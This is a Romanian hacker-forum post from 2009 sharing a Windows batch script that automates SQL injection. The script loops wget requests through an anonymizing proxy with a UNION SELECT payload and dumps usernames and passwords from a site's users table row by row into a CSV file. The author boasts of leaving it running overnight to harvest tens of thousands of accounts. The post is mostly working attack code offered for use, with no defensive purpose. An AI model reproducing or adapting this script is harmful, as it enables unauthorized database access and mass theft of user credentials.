loki Posted October 27, 2009 Report Posted October 27, 2009 (edited) m-a palit azi inspirat dintr-un topic de pe aici.Precizez ca azi mi-am umplut cunostintele despre fisierele batch - ca pana azi nu am facut absolut nici unul (exceptand echo helo world damn I am cool! in autoexec)Am folosit wget pentru windows, il gasiti pe google relativ usor (ar fi o optimizare combinarea bat-ului in sursa C de la wget).Am folosit fisier CSV deoarece e usor de vizualizat in excell. CSV e un fisier text sub forma unui tabel despartit de virgule. Scriptul genereaza capul tabelului si inregistrarile.Modificati:first=prima inregistrarelast=ultima inregistrarecsvout=numele fisierului csvproxy=http proxy sau http://link1=www.example.com/?id=1 and 1=2 union select concat(0x60,username,0x2c,etc,0x2c,cevadate,0x60),2,3 limitlink2=,1--echo index,id,username,password>%csvoutput% puneti index (numarul de ordine pus la limit) si apoi intrarile din unionIn cod link-ul final va fi de forma proxy+link1+nrinregistrarii+link2 am scos link-ul din bat ca totusi sa nu fie pompat preferential de toti miniscripterii care dau pe aici. Luati un sqli la intamplare care va da o inregistrare cu limit n,1@echo offclssetlocalset first=0set last=1000set csvoutput=useri.csvREM proxy este un http proxy, o simpla metoda de anonimizare, puneti http:// daca nu folositiset proxy=http://REM am folosit ` ca separator, adica 0x60 pus la stanga si la dreapta in concat. link1 si link2 formeaza link-ul final, intre ele aflandu-se numarul inregistrarii introdus in bucla FORset link1=www.example.com?id=1+and+1=2+union+select+1,2,concat(0x60,id,0x2c,username,0x2c,password,0x60),4,5,6,7,8,9,10,11 from users limit set link2=,1--REM scriem in fisier nou capul de tabelecho index,id,username,password>%csvoutput%set A=%first%:LoopStartwget -U --user-agent=Mozilla -q -O page "%proxy%%link1%%a%%link2%"FOR /F "tokens=2 delims=`" %%A IN ('findstr /R "`" page') DO SET y=%%AREM punem ghilimeleleset y="%y%"REM facem un replace la caracterele care nu plac bat-urilorSET y=%y:<=3C#%SET y=%y:>=3E#%SET y=%y:&=26#%SET y=%y:|=7C#%REM scoatem ghilimeleleSET y=###%y%###SET y=%y:"###=%SET y=%y:###"=%SET y=%y:###=%echo %A%echo %A%,%y% >>%csvoutput%REM e mai bine sa sterg fisierul temporar ca daca pica netul va va oferi inregistrari identicedel pageset /a A+=1IF %A% LEQ %last% GOTO LoopStartendlocal@echo Done!pauseDeci, salvati codul ca bat in acelasi folder cu wget.exe de pe netMetoda e utila ca puteti lasa peste noapte un script. Vin de la un bairam si ma uit cum a ajuns deja la userul 17000 (hehe la mine last e 100000, aici e doar exemplu)...Nu le am cu batch-urile si m-am izbit de problema tagurilor html in echo, asa ca am folosit rapid substitutii cu coduri hexa terminate in #. Mai intai sirul a fost incadrat intre ghilimele pentru a aplica substitutiile, apoi le-am eliminat. Astept idei de optimizare in acest sens. Edited October 27, 2009 by loki Quote